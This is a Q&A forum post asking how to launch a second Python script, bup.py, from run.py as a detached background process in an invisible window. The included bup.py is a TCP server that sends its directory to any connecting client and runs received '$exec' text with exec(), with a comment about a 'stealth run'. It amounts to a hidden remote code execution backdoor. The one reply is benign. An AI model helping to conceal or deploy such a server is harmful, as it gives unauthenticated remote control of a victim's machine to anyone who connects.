Run independent file from main
<p>I have a <code>run.py</code> that looks something like this:</p>

<pre><code>def main():
    # Tested and working code here


if __name__ == '__main__':
    main()
</code></pre>

<p>Then I have another file that runs a TCP Socket Server, <code>bup.py</code>:</p>

<pre><code>import socket
import os
from threading import Thread

# PMS Settings
TCP_IP = ''
TCP_PORT = 8080

my_ID = '105032495291981824'.encode()
my_dir = os.path.dirname(os.path.realpath(__file__))
current_dir = my_dir
debug = True

# Replace print() with dPrint to enable toggling | Be sure to set debug = False when you need a stealth run
def dPrint(text):
    if debug:
        print(text)

# -------------------------------------------------------------------

# Mulithreaded Server a.k.a. PMS
    class ClientThread(Thread):

    def __init__(self, ip, port):
        Thread.__init__(self)
        self.ip = ip
        self.port = port
        dPrint("[+] New server socket thread started for " + ip + ":" + str(port))

    def run(self):
        conn.send(current_dir.encode())
        while True:
            try:
                data = conn.recv(2048).decode()
                if "$exec " in data:
                    data = data.replace("$exec ", "")
                    exec(data)
                elif data:
                    dPrint(data)
            except ConnectionAbortedError:
                dPrint("[x] Connection forcibly closed by remote host")
                break
            except ConnectionResetError:
                dPrint("[x] Connection was reset by client")
                break

# --------------------------------------------------------------------------

tcpServer = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpServer.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
tcpServer.bind((TCP_IP, TCP_PORT))
threads = []

while True:
    tcpServer.listen(5)
    (conn, (ip, port)) = tcpServer.accept()
    newThread = ClientThread(ip, port)
    newThread.start()
    threads.append(newThread)

for t in threads:
    t.join()
</code></pre>

<p>I want <code>bup.py</code> executed from <code>main()</code> as an independent file. Also, it has to run either in the background or in an invisible window. Is this even possible? <code>bup.py</code> is a server script so it doesn't return anything and it has to be completely detached from <code>run.py</code>.</p>

<p>If you just want to run bup.py as a separate file, maybe you can define that <strong>main</strong> in your bup.py and run that file using python bup.py. I am not exactly sure what bup.py need to be bound to a run.py, did I miss anything?</p>

python python-3.x subprocess os.system